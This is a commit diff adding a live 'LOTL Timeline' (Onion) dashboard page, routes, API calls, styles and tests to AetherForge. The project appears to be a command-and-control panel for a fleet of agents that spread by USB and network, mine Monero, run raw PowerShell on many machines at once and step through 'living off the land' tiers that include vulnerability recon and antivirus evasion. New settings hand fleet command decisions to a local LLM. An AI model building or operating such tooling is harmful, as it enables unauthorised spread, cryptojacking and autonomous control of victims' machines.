Add LOTL Timeline page for live tier progression visualization.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators get a dedicated Onion view with 14-tier stepper, fleet progress chips, and AI decision overlay when fleet AI control is enabled.
This commit is contained in:
AetherForge
2026-06-07 02:13:15 -07:00
parent f27cec887a
commit 34afa28f81
14 changed files with 939 additions and 2 deletions

View File

@@ -148,6 +148,7 @@ Enable **USB Propagation** in the Forge. The baked binary:
### Crucible (Command Terminal)
- **[LOTL Timeline](/lotl-timeline)** (`/onion`) — live 14-tier spread progression per agent with fleet progress bars
- Select one or many agents (or entire Fleet Groups) as targets
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible

View File

@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -584,6 +584,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
}
if fleetAIHandler != nil {
r.Get("/ai/models", fleetAIHandler.GetModels)
r.Get("/ai/config", fleetAIHandler.GetConfig)
r.Put("/ai/config", fleetAIHandler.PutConfig)
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
}
moduleStore := NewModuleStore(dataDir, func() string {
fleetSecretForAgentPathsMu.RLock()

View File

@@ -21,6 +21,7 @@ const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage'));
export function PageFallback() {
return (
@@ -59,6 +60,8 @@ function App() {
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
<Route path="/settings" element={<SettingsPage />} />
<Route path="/pathtracer" element={<PathTracerPage />} />
<Route path="/lotl-timeline" element={<LotlTimelinePage />} />
<Route path="/onion" element={<Navigate to="/lotl-timeline" replace />} />
</Routes>
</Suspense>
</Layout>

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
@@ -224,6 +224,16 @@ export const api = {
}),
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
getAIDecisions: (agentId?: string, limit = 50) => {
const params = new URLSearchParams();
if (agentId?.trim()) params.set('agent_id', agentId.trim());
params.set('limit', String(limit));
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
},
getAIModels: (endpoint: string) =>
fetchJSON<{ models: string[]; endpoint?: string; error?: string }>(
`/ai/models?endpoint=${encodeURIComponent(endpoint)}`,
),
getEarningsEstimate: (hashrate: number) =>
fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
sendAgentCommand: (

View File

@@ -35,12 +35,14 @@ function operatorDeckId(pathname: string): string {
if (path.startsWith('/builds')) return 'builds';
if (path.startsWith('/settings')) return 'settings';
if (path.startsWith('/pathtracer')) return 'pathtracer';
if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline';
return 'dashboard';
}
const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/lotl-timeline', label: 'Onion', icon: 'onion' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
@@ -103,6 +105,14 @@ function NavIcon({ type }: { type: string }) {
<path d="M10 12l1.5 2L14 11" />
</svg>
);
case 'onion':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="12" cy="13" r="6" />
<circle cx="12" cy="13" r="3" strokeOpacity="0.45" />
<path d="M12 4v3M12 19v3M4 13h3M17 13h3" strokeOpacity="0.5" />
</svg>
);
case 'ember':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">

View File

@@ -0,0 +1,46 @@
import type { Agent } from '../../types';
import { buildLotlTimelineModel, lotlTimelineProgressLabel } from '../../help/lotlTimeline';
import type { TierAttempt } from '../../types/lotl';
import './LotlTimeline.css';
interface Props {
agents: Agent[];
selectedId?: string;
tierOrder: string[];
onSelect: (agentId: string) => void;
}
function agentAttempts(agent: Agent): TierAttempt[] {
return agent.lotl_attempts ?? [];
}
export default function LotlFleetOverview({ agents, selectedId, tierOrder, onSelect }: Props) {
const online = agents.filter((a) => a.status === 'online');
if (online.length === 0) return null;
return (
<div className="lotl-fleet-overview" aria-label="Fleet tier progress">
<div className="lotl-fleet-overview-title">FLEET ONION PROGRESS</div>
{online.map((agent) => {
const model = buildLotlTimelineModel(agent, tierOrder, agentAttempts(agent));
const pct = model.total > 0 ? Math.round((model.succeeded / model.total) * 100) : 0;
const selected = agent.id === selectedId;
return (
<button
key={agent.id}
type="button"
className={`lotl-fleet-chip${selected ? ' lotl-fleet-chip--selected' : ''}`}
onClick={() => onSelect(agent.id)}
title={`${agent.name}${lotlTimelineProgressLabel(model)} tiers`}
>
<span className="lotl-fleet-chip-name">{agent.name}</span>
<div className="lotl-fleet-chip-bar" aria-hidden>
<div className="lotl-fleet-chip-fill" style={{ width: `${pct}%` }} />
</div>
<span className="lotl-fleet-chip-meta">{lotlTimelineProgressLabel(model)} tiers</span>
</button>
);
})}
</div>
);
}

View File

@@ -0,0 +1,58 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen, fireEvent } from '@testing-library/react';
import LotlTierTimeline from './LotlTierTimeline';
import { buildLotlTimelineModel, resolveLotlTierOrder } from '../../help/lotlTimeline';
import { mockAgent } from '../../test/fixtures';
describe('LotlTierTimeline', () => {
afterEach(() => cleanup());
it('renders 14 tiers from fixture attempts', () => {
const order = resolveLotlTierOrder();
expect(order).toHaveLength(14);
const agent = mockAgent({
status: 'online',
lotl_tier: 'wsl',
lotl_attempts: [
{ tier: 'vuln_recon', ok: true, duration_ms: 800, phase: 'recon' },
{ tier: 'docker', ok: false, error: 'no daemon', duration_ms: 1200, phase: 'deploy' },
{ tier: 'wsl', ok: false, error: 'distro missing', duration_ms: 900, phase: 'deploy' },
],
});
const model = buildLotlTimelineModel(agent, order, agent.lotl_attempts ?? []);
expect(model.tiers).toHaveLength(14);
expect(model.succeeded).toBe(1);
expect(model.tiers[0].state).toBe('success');
expect(model.tiers[1].state).toBe('failed');
expect(model.tiers[2].state).toBe('trying');
render(<LotlTierTimeline model={model} agentName="Test Miner" />);
expect(screen.getByText('ONION TIER CHAIN')).toBeInTheDocument();
expect(screen.getByText('1/14 tiers succeeded')).toBeInTheDocument();
expect(screen.getAllByRole('listitem')).toHaveLength(14);
expect(screen.getByText('Vuln Recon')).toBeInTheDocument();
expect(screen.getByText('GPO')).toBeInTheDocument();
});
it('expands attempt detail on tier click', () => {
const order = resolveLotlTierOrder();
const agent = mockAgent({
lotl_attempts: [
{ tier: 'docker', ok: false, error: 'AV blocked', duration_ms: 500, phase: 'deploy' },
],
});
const model = buildLotlTimelineModel(agent, order, agent.lotl_attempts ?? []);
render(<LotlTierTimeline model={model} agentName="Node A" />);
fireEvent.click(screen.getByText('Docker'));
expect(screen.getByText('AV blocked')).toBeInTheDocument();
expect(screen.getByText('deploy')).toBeInTheDocument();
expect(screen.getByText('500ms')).toBeInTheDocument();
});
});

View File

@@ -0,0 +1,109 @@
import { useMemo, useState } from 'react';
import type { LotlTimelineModel, LotlTimelineTierRow } from '../../help/lotlTimeline';
import { formatDurationMs } from '../../types/lotl';
import './LotlTimeline.css';
import '../Fleet/LotlVisuals.css';
interface Props {
model: LotlTimelineModel;
agentName: string;
className?: string;
}
function stateGlyph(state: LotlTimelineTierRow['state']): string {
switch (state) {
case 'success':
return '✓';
case 'failed':
return '✗';
case 'skipped':
return '—';
case 'trying':
return '◉';
default:
return '·';
}
}
function TierDetail({ row }: { row: LotlTimelineTierRow }) {
const { attempt } = row;
return (
<div className="lotl-tier-detail" role="region" aria-label={`${row.label} attempt detail`}>
<div className="lotl-tier-detail-title">{row.label.toUpperCase()}</div>
{row.hint && <div className="lotl-tier-detail-row">{row.hint}</div>}
{attempt ? (
<>
<div className="lotl-tier-detail-row">
<span className={`lotl-attempt-icon ${attempt.ok ? 'ok' : 'fail'}`}>
{attempt.ok ? '✓' : '✗'}
</span>
<span>{attempt.ok ? 'Succeeded' : 'Failed'}</span>
{attempt.duration_ms !== undefined && (
<span className="lotl-attempt-dur">{formatDurationMs(attempt.duration_ms)}</span>
)}
{attempt.phase && <span className="lotl-tier-detail-tag">{attempt.phase}</span>}
</div>
{!attempt.ok && attempt.error && (
<div className="lotl-tier-detail-err">{attempt.error}</div>
)}
</>
) : (
<div className="lotl-tier-detail-row">
{row.state === 'skipped' ? 'Tier skipped by policy' : 'No attempt recorded yet'}
</div>
)}
</div>
);
}
export default function LotlTierTimeline({ model, agentName, className = '' }: Props) {
const [expandedTier, setExpandedTier] = useState<string | null>(null);
const expandedRow = useMemo(
() => model.tiers.find((t) => t.tier === expandedTier),
[model.tiers, expandedTier],
);
const toggleTier = (tier: string) => {
setExpandedTier((prev) => (prev === tier ? null : tier));
};
return (
<section className={`lotl-tier-timeline ${className}`.trim()} aria-label="LOTL tier progression">
<div className="lotl-tier-timeline-header">
<div>
<div className="lotl-tier-timeline-title">ONION TIER CHAIN</div>
<div className="lotl-tier-timeline-agent">{agentName}</div>
</div>
<div className="lotl-tier-timeline-progress">
{model.succeeded}/{model.total} tiers succeeded
{model.tryingTier && (
<span style={{ marginLeft: '0.5rem', color: '#ffb070' }}>
· trying {model.tryingTier.replace(/_/g, ' ')}
</span>
)}
</div>
</div>
<div className="lotl-tier-track" role="list">
{model.tiers.map((row) => (
<button
key={row.tier}
type="button"
role="listitem"
className={`lotl-tier-step lotl-tier-step--${row.state}${expandedTier === row.tier ? ' lotl-tier-step--expanded' : ''}`}
onClick={() => toggleTier(row.tier)}
title={row.hint || row.label}
aria-expanded={expandedTier === row.tier}
aria-current={row.state === 'trying' ? 'step' : undefined}
>
<span className="lotl-tier-node">{stateGlyph(row.state)}</span>
<span className="lotl-tier-label">{row.label}</span>
</button>
))}
</div>
{expandedRow && <TierDetail row={expandedRow} />}
</section>
);
}

View File

@@ -0,0 +1,352 @@
/* LOTL Onion Timeline — ember-accent progression stepper */
.lotl-timeline-page {
max-width: 1400px;
}
.lotl-timeline-page .page-header h1 {
background: linear-gradient(90deg, #e8c872 0%, #ff8c3a 45%, #e85d4a 100%);
-webkit-background-clip: text;
background-clip: text;
color: transparent;
letter-spacing: 0.04em;
}
.lotl-fleet-overview {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
margin-bottom: 1.25rem;
padding: 0.65rem 0.75rem;
border-radius: var(--deck-card-radius, 6px);
border: 1px solid rgba(232, 140, 58, 0.22);
background: rgba(8, 6, 4, 0.55);
}
.lotl-fleet-overview-title {
width: 100%;
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.14em;
color: rgba(232, 180, 100, 0.85);
margin-bottom: 0.15rem;
}
.lotl-fleet-chip {
display: flex;
flex-direction: column;
gap: 0.25rem;
min-width: 120px;
max-width: 160px;
flex: 1 1 120px;
padding: 0.45rem 0.55rem;
border-radius: 5px;
border: 1px solid rgba(255, 255, 255, 0.06);
background: rgba(0, 0, 0, 0.35);
cursor: pointer;
transition: border-color 0.15s, box-shadow 0.2s;
text-align: left;
}
.lotl-fleet-chip:hover {
border-color: rgba(255, 140, 58, 0.35);
}
.lotl-fleet-chip--selected {
border-color: rgba(255, 140, 58, 0.55);
box-shadow: 0 0 12px rgba(232, 93, 74, 0.18);
}
.lotl-fleet-chip-name {
font-size: 0.72rem;
font-weight: 600;
color: #eee;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.lotl-fleet-chip-bar {
height: 4px;
border-radius: 2px;
background: rgba(255, 255, 255, 0.08);
overflow: hidden;
}
.lotl-fleet-chip-fill {
height: 100%;
border-radius: 2px;
background: linear-gradient(90deg, #c4ad5a, #ff8c3a);
transition: width 0.35s ease;
}
.lotl-fleet-chip-meta {
font-family: var(--font-tech);
font-size: 0.6rem;
color: var(--text-muted);
letter-spacing: 0.06em;
}
.lotl-tier-timeline {
padding: 1rem 1.1rem 1.25rem;
border-radius: var(--deck-card-radius, 6px);
border: 1px solid rgba(232, 140, 58, 0.2);
background: linear-gradient(165deg, rgba(14, 10, 8, 0.92) 0%, rgba(6, 5, 8, 0.96) 100%);
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5), inset 0 1px 0 rgba(255, 180, 80, 0.06);
}
.lotl-tier-timeline-header {
display: flex;
flex-wrap: wrap;
align-items: baseline;
justify-content: space-between;
gap: 0.5rem;
margin-bottom: 1rem;
}
.lotl-tier-timeline-title {
font-family: var(--font-tech);
font-size: 0.72rem;
letter-spacing: 0.14em;
color: rgba(232, 180, 100, 0.9);
}
.lotl-tier-timeline-agent {
font-size: 0.8rem;
color: var(--text-muted);
}
.lotl-tier-timeline-progress {
font-family: var(--font-tech);
font-size: 0.75rem;
color: #ffaa66;
}
.lotl-tier-track {
display: flex;
flex-wrap: nowrap;
overflow-x: auto;
gap: 0;
padding: 0.5rem 0 0.75rem;
scrollbar-width: thin;
}
.lotl-tier-step {
display: flex;
flex-direction: column;
align-items: center;
flex: 1 1 0;
min-width: 72px;
max-width: 96px;
position: relative;
border: none;
background: transparent;
cursor: pointer;
padding: 0.25rem 0.15rem;
color: inherit;
font: inherit;
}
.lotl-tier-step:not(:last-child)::after {
content: '';
position: absolute;
top: 14px;
left: calc(50% + 14px);
width: calc(100% - 28px);
height: 2px;
background: rgba(255, 255, 255, 0.08);
z-index: 0;
}
.lotl-tier-step--success:not(:last-child)::after,
.lotl-tier-step--trying:not(:last-child)::after {
background: linear-gradient(90deg, rgba(255, 140, 58, 0.5), rgba(255, 255, 255, 0.08));
}
.lotl-tier-node {
width: 28px;
height: 28px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-family: var(--font-tech);
font-size: 0.62rem;
font-weight: 700;
border: 2px solid rgba(255, 255, 255, 0.12);
background: rgba(0, 0, 0, 0.45);
position: relative;
z-index: 1;
transition: border-color 0.2s, box-shadow 0.25s;
}
.lotl-tier-step--pending .lotl-tier-node {
color: var(--text-muted);
border-color: rgba(255, 255, 255, 0.1);
}
.lotl-tier-step--skipped .lotl-tier-node {
color: rgba(180, 180, 190, 0.5);
border-color: rgba(255, 255, 255, 0.06);
opacity: 0.55;
}
.lotl-tier-step--success .lotl-tier-node {
color: #7dffaa;
border-color: rgba(100, 220, 140, 0.45);
background: rgba(40, 80, 50, 0.35);
}
.lotl-tier-step--failed .lotl-tier-node {
color: #ff8866;
border-color: rgba(255, 100, 60, 0.45);
background: rgba(80, 30, 20, 0.35);
}
.lotl-tier-step--trying .lotl-tier-node {
color: #ffb84d;
border-color: rgba(255, 160, 60, 0.7);
background: rgba(60, 35, 15, 0.5);
box-shadow:
0 0 14px rgba(255, 120, 40, 0.45),
0 0 28px rgba(232, 93, 74, 0.2);
animation: lotl-tier-pulse 1.8s ease-in-out infinite;
}
@keyframes lotl-tier-pulse {
0%, 100% {
box-shadow:
0 0 10px rgba(255, 120, 40, 0.35),
0 0 20px rgba(232, 93, 74, 0.15);
}
50% {
box-shadow:
0 0 18px rgba(255, 140, 58, 0.55),
0 0 36px rgba(232, 93, 74, 0.28);
}
}
.lotl-tier-label {
margin-top: 0.35rem;
font-size: 0.58rem;
text-align: center;
line-height: 1.2;
color: var(--text-muted);
max-width: 100%;
word-break: break-word;
}
.lotl-tier-step--trying .lotl-tier-label,
.lotl-tier-step--success .lotl-tier-label {
color: rgba(240, 220, 200, 0.9);
}
.lotl-tier-detail {
margin-top: 0.75rem;
padding: 0.65rem 0.85rem;
border-left: 2px solid rgba(255, 140, 58, 0.4);
background: rgba(0, 0, 0, 0.35);
border-radius: 0 4px 4px 0;
font-family: var(--font-tech);
font-size: 0.74rem;
}
.lotl-tier-detail-title {
color: #ffb070;
font-weight: 700;
letter-spacing: 0.08em;
font-size: 0.68rem;
margin-bottom: 0.35rem;
}
.lotl-tier-detail-row {
display: flex;
flex-wrap: wrap;
gap: 0.35rem 0.75rem;
margin-bottom: 0.25rem;
color: #ddd;
}
.lotl-tier-detail-tag {
font-size: 0.62rem;
padding: 1px 6px;
border-radius: 3px;
background: rgba(255, 140, 58, 0.12);
border: 1px solid rgba(255, 140, 58, 0.25);
color: #ffaa66;
text-transform: uppercase;
letter-spacing: 0.06em;
}
.lotl-tier-detail-err {
color: #ffaa88;
font-size: 0.68rem;
margin-top: 0.25rem;
word-break: break-word;
}
.lotl-ai-decision {
margin-top: 0.85rem;
padding: 0.55rem 0.75rem;
border-radius: 4px;
border: 1px solid rgba(0, 232, 245, 0.2);
background: rgba(0, 40, 50, 0.25);
font-size: 0.72rem;
}
.lotl-ai-decision-label {
font-family: var(--font-tech);
font-size: 0.62rem;
letter-spacing: 0.1em;
color: var(--neon-cyan);
margin-bottom: 0.25rem;
}
.lotl-timeline-links {
margin-top: 0.85rem;
font-size: 0.72rem;
color: var(--text-muted);
}
.lotl-timeline-links a {
color: rgba(255, 170, 100, 0.9);
text-decoration: none;
}
.lotl-timeline-links a:hover {
text-decoration: underline;
}
.lotl-timeline-empty {
padding: 2rem;
text-align: center;
color: var(--text-muted);
font-size: 0.85rem;
}
@media (max-width: 720px) {
.lotl-tier-track {
flex-direction: column;
align-items: stretch;
overflow-x: visible;
}
.lotl-tier-step {
flex-direction: row;
align-items: center;
gap: 0.65rem;
min-width: 100%;
max-width: none;
padding: 0.35rem 0;
}
.lotl-tier-step:not(:last-child)::after {
display: none;
}
.lotl-tier-label {
margin-top: 0;
text-align: left;
flex: 1;
}
}

View File

@@ -923,5 +923,6 @@ describe('Layout', () => {
});
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument();
});
});

View File

@@ -0,0 +1,133 @@
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
/** Per-tier state for the live onion timeline UI. */
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped';
export interface LotlTimelineTierRow {
index: number;
tier: string;
label: string;
hint: string;
state: LotlTimelineTierState;
attempt?: TierAttempt;
}
export interface LotlTimelineModel {
tiers: LotlTimelineTierRow[];
total: number;
succeeded: number;
activeTier?: string;
tryingTier?: string;
}
/** Map attempt tier ids to spread onion tier ids (case-insensitive). */
const TIER_ALIASES: Record<string, string> = {
container: 'docker',
docker_load: 'docker',
vuln_probe: 'vuln_recon',
kev_scan: 'vuln_recon',
service_probe: 'vuln_recon',
ps_memory: 'powershell',
ps_inmemory: 'powershell',
bits: 'bits_curl',
curl: 'bits_curl',
wsus: 'wsus_cache_peer',
wsus_cache: 'wsus_cache_peer',
webrtc: 'webrtc_mesh',
mesh: 'webrtc_mesh',
exe_subprocess: 'powershell',
cpu_inprocess: 'dotnet',
gpu_subprocess: 'dotnet',
stratum_direct: 'dotnet',
};
function normalizeTierKey(tier: string): string {
return tier.trim().toLowerCase().replace(/[\s-]+/g, '_');
}
function canonicalSpreadTier(tier: string): string {
const key = normalizeTierKey(tier);
return TIER_ALIASES[key] ?? key;
}
function tierDocHint(tier: string): string {
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.hint ?? '';
}
function tierLabel(tier: string): string {
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
}
function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAttempt | undefined {
const target = canonicalSpreadTier(spreadTier);
for (let i = attempts.length - 1; i >= 0; i--) {
if (canonicalSpreadTier(attempts[i].tier) === target) return attempts[i];
}
return undefined;
}
export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
if (policyTiers?.length) return [...policyTiers];
return [...DEFAULT_LOTL_ONION_TIERS];
}
export function buildLotlTimelineModel(
agent: Agent,
order: string[],
attempts: TierAttempt[],
skipped: string[] = [],
): LotlTimelineModel {
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
const activeTier = agent.lotl_tier?.trim() || undefined;
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
const online = agent.status === 'online';
let tryingTier: string | undefined;
if (online && activeCanon) {
const last = lastAttemptForTier(attempts, activeCanon);
if (!last?.ok) tryingTier = activeCanon;
}
const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
const key = canonicalSpreadTier(tier);
const attempt = lastAttemptForTier(attempts, tier);
let state: LotlTimelineTierState = 'pending';
if (skippedSet.has(key)) {
state = 'skipped';
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
state = 'trying';
} else if (attempt?.ok) {
state = 'success';
} else if (attempt && !attempt.ok) {
state = 'failed';
}
return {
index: i + 1,
tier,
label: tierLabel(tier),
hint: tierDocHint(tier),
state,
attempt,
};
});
const succeeded = tiers.filter((t) => t.state === 'success').length;
return {
tiers,
total: order.length,
succeeded,
activeTier,
tryingTier,
};
}
export function lotlTimelineProgressLabel(model: LotlTimelineModel): string {
return `${model.succeeded}/${model.total}`;
}

View File

@@ -83,6 +83,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
gridDrift: 38,
palette: 'default',
},
'/lotl-timeline': {
vibe: 'crucible-embers',
intensity: 0.82,
speed: 0.38,
pulse: 0.72,
density: 0.88,
linkStrength: 0.5,
layerOpacity: 0.52,
orbDrift: 18,
gridDrift: 64,
palette: 'crucible',
},
'/onion': {
vibe: 'crucible-embers',
intensity: 0.82,
speed: 0.38,
pulse: 0.72,
density: 0.88,
linkStrength: 0.5,
layerOpacity: 0.52,
orbDrift: 18,
gridDrift: 64,
palette: 'crucible',
},
'/crucible': {
vibe: 'crucible-embers',
intensity: 0.75,

View File

@@ -0,0 +1,162 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { Link, useSearchParams } from 'react-router-dom';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import {
buildLotlTimelineModel,
resolveLotlTierOrder,
} from '../help/lotlTimeline';
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
import type { AIDecisionRecord } from '../types';
import LotlFleetOverview from '../components/Lotl/LotlFleetOverview';
import LotlTierTimeline from '../components/Lotl/LotlTierTimeline';
import { HelpTip } from '../components/HelpTip';
import '../components/Lotl/LotlTimeline.css';
import './Pages.css';
export default function LotlTimelinePage() {
const { agents } = useWebSocket();
const [searchParams, setSearchParams] = useSearchParams();
const [tierOrder, setTierOrder] = useState<string[]>(() => resolveLotlTierOrder());
const [aiControlEnabled, setAiControlEnabled] = useState(false);
const [lastDecision, setLastDecision] = useState<{ response?: string; commands?: string; ts?: string } | null>(null);
const paramAgentId = searchParams.get('agent') ?? '';
const onlineAgents = useMemo(() => agents.filter((a) => a.status === 'online'), [agents]);
const selectedAgent = useMemo(() => {
if (paramAgentId) {
const found = agents.find((a) => a.id === paramAgentId);
if (found) return found;
}
return onlineAgents[0] ?? agents[0] ?? null;
}, [agents, onlineAgents, paramAgentId]);
useEffect(() => {
api
.getConfig()
.then((cfg) => {
const policy = parseAccessDepthServerPolicy(cfg);
setTierOrder(resolveLotlTierOrder(policy.lotl_onion_tiers));
setAiControlEnabled(cfg.server?.ai_control_enabled === true);
})
.catch(() => {});
}, []);
useEffect(() => {
if (!selectedAgent || !aiControlEnabled) {
setLastDecision(null);
return;
}
let cancelled = false;
api
.getAIDecisions(selectedAgent.id, 1)
.then((rows: AIDecisionRecord[]) => {
if (cancelled) return;
const row = rows[0];
if (row) {
setLastDecision({
response: row.response,
commands: row.commands_executed,
ts: row.ts,
});
} else {
setLastDecision(null);
}
})
.catch(() => {
if (!cancelled) setLastDecision(null);
});
return () => {
cancelled = true;
};
}, [selectedAgent, aiControlEnabled]);
const selectAgent = useCallback(
(agentId: string) => {
setSearchParams({ agent: agentId }, { replace: true });
},
[setSearchParams],
);
const aiEnabled = aiControlEnabled;
const timelineModel = useMemo(() => {
if (!selectedAgent) return null;
return buildLotlTimelineModel(
selectedAgent,
tierOrder,
selectedAgent.lotl_attempts ?? [],
);
}, [selectedAgent, tierOrder]);
return (
<div className="page lotl-timeline-page">
<header className="page-header">
<div>
<h1 className="font-tech">LOTL Timeline</h1>
<p style={{ fontSize: '0.8rem', color: 'var(--text-muted)', marginTop: '0.25rem' }}>
Live spread + mining tier progression triple onion chain{' '}
<HelpTip field="crucible_access_depth" />
</p>
</div>
{selectedAgent && (
<Link
to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}
className="btn btn-outline btn-sm"
>
Open in Crucible
</Link>
)}
</header>
<LotlFleetOverview
agents={agents}
selectedId={selectedAgent?.id}
tierOrder={tierOrder}
onSelect={selectAgent}
/>
{!selectedAgent ? (
<div className="lotl-timeline-empty">
No agents in fleet yet. Forge a worker and connect to see tier progression.
</div>
) : timelineModel ? (
<>
<LotlTierTimeline model={timelineModel} agentName={selectedAgent.name} />
{aiEnabled && lastDecision && (
<div className="lotl-ai-decision">
<div className="lotl-ai-decision-label">LAST AI DECISION</div>
{lastDecision.response && (
<div style={{ color: 'var(--text-muted)' }}>{lastDecision.response}</div>
)}
{lastDecision.commands && (
<div style={{ marginTop: '0.25rem', fontSize: '0.68rem', color: '#7dffaa' }}>
{lastDecision.commands}
</div>
)}
{lastDecision.ts && (
<div style={{ marginTop: '0.25rem', fontSize: '0.65rem', color: 'var(--text-muted)' }}>
{new Date(lastDecision.ts).toLocaleString()}
</div>
)}
</div>
)}
<p className="lotl-timeline-links">
Data sources: Crucible {' '}
<Link to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}>Access Depth panel</Link>
{' · '}
<Link to="/settings">Calibrate lotl_onion_tiers</Link>
{' · '}
<a href="/docs/SPREAD_TECHNIQUES.html#lotl-onion" target="_blank" rel="noopener noreferrer">
spread tier wiki
</a>
</p>
</>
) : null}
</div>
);
}

View File

@@ -297,6 +297,18 @@ export interface ServerSettings {
public_builds_latest_n?: number;
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
lotl_onion_tiers?: string[];
/** Fleet adaptive strategy learns mining tier order from fleet stats (logic-gate mode). */
adaptive_strategy_enabled?: boolean;
/** When true, Calibrate uses local LLM fleet control instead of logic gates. */
ai_control_enabled?: boolean;
/** OpenAI-compatible or Ollama base URL on the control PC. */
ai_local_endpoint?: string;
/** LLM model name for fleet AI control. */
ai_model?: string;
/** Stateless per-cycle decisions — no conversation memory. */
ai_no_context?: boolean;
/** Seconds between AI decision cycles per agent. */
ai_interval_sec?: number;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;
@@ -420,6 +432,16 @@ export interface AIActivityEntry {
last_success?: boolean;
}
/** Fleet AI Control decision audit row — GET /api/v1/ai/decisions */
export interface AIDecisionRecord {
id: number;
agent_id: string;
prompt_hash?: string;
response?: string;
commands_executed?: string;
ts?: string;
}
